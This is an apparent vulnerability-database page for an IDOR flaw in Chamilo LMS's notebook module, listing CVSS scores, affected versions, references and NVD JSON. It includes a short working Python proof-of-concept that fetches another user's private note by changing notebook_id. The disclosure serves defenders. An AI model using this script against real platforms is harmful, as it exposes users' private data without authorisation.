CVE-2026-34370

Description

Chamilo LMS is an open-source learning management system. In versions prior to 2.0.0-RC.3, the notebook module contains an Insecure Direct Object Reference (IDOR) vulnerability that allows any authenticated student to read the private course notes of any other user on the platform by manipulating the notebook_id parameter in the editnote action. The application fetches the note content using only the supplied integer ID without verifying that the requesting user owns the note, and the full title and HTML body are rendered in the edit form and returned to the attacker's browser. While ownership checks exist in the write paths (updateNote() and delete_note()), they are entirely absent from the read path (get_note_information()). This issue has been fixed in version 2.0.0-RC.3.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha3:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha4:*:*:*:*:*:* - VULNERABLE

Chamilo LMS < 2.0.0-RC.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL configuration
target_url = "http://example.com/main/notebook/notebook.php"
attacker_cookies = {
    "PHPSESSID": "attacker_session_id_here"
}

# The vulnerable parameter (notebook_id) to manipulate
# Assume ID 1 is the target victim's note
victim_note_id = 1

params = {
    "action": "editnote",
    "notebook_id": victim_note_id
}

try:
    # Send the request to read the note
    response = requests.get(target_url, params=params, cookies=attacker_cookies)

    if response.status_code == 200:
        print("[+] Request successful!")
        print("[+] Response content (may contain victim's private note):")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34370
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34370
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34370/
[4] VulDB https://vuldb.com/cve/CVE-2026-34370
[5] https://github.com/chamilo/chamilo-lms/releases/tag/v2.0.0-RC.3
[6] https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-fm35-2hvw-564q

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34370", "sourceIdentifier": "[email protected]", "published": "2026-04-14T22:16:31.340", "lastModified": "2026-04-22T18:46:34.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chamilo LMS is an open-source learning management system. In versions prior to 2.0.0-RC.3, the notebook module contains an Insecure Direct Object Reference (IDOR) vulnerability that allows any authenticated student to read the private course notes of any other user on the platform by manipulating the notebook_id parameter in the editnote action. The application fetches the note content using only the supplied integer ID without verifying that the requesting user owns the note, and the full title and HTML body are rendered in the edit form and returned to the attacker's browser. While ownership checks exist in the write paths (updateNote() and delete_note()), they are entirely absent from the read path (get_note_information()). This issue has been fixed in version 2.0.0-RC.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.11.38", "matchCriteriaId": "34085140-9203-4B20-9036-743718F1A4F8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "4AF7661F-C1F7-4CAB-BBDF-FC5BF7F5BEB8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha2:*:*:*:*:*:*", "matchCriteriaId": "FE56AF71-9D53-42C6-980D-09E1C418ED87"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha3:*:*:*:*:*:*", "matchCriteriaId": "01195674-9E1A-4C07-B7D3-0F0CC2E6511B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha4:*:*:*:*:*:*", "matchCriteriaId": "BAE63449-5A56-4302-A4BF-F3D19FC96A80"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha5:*:*:*:*:*:*", "matchCriteriaId": "A84A06F9-5AB7-4703-8153-33AC68882B95"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "B91302A3-53DE-4ED0-BAAB-FE9DA03F8242"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "46008D4A-96F7-4E04-8256-E115AAAE3383"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta3:*:*:*:*:*:*", "matchCriteriaId": "6E2BCAFF-D44B-4E67-998A-DF855E27606B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "D2E7D018-E4C2-45F5-8D9A-DAC947173607"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "DAF96697-6B6D-459D-9510-E5CEEDC2859B"}]}]}], "references": [{"url": "https://github.com/chamilo/chamilo-lms/releases/tag/v2.0.0-RC.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-fm35-2hvw-564q", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}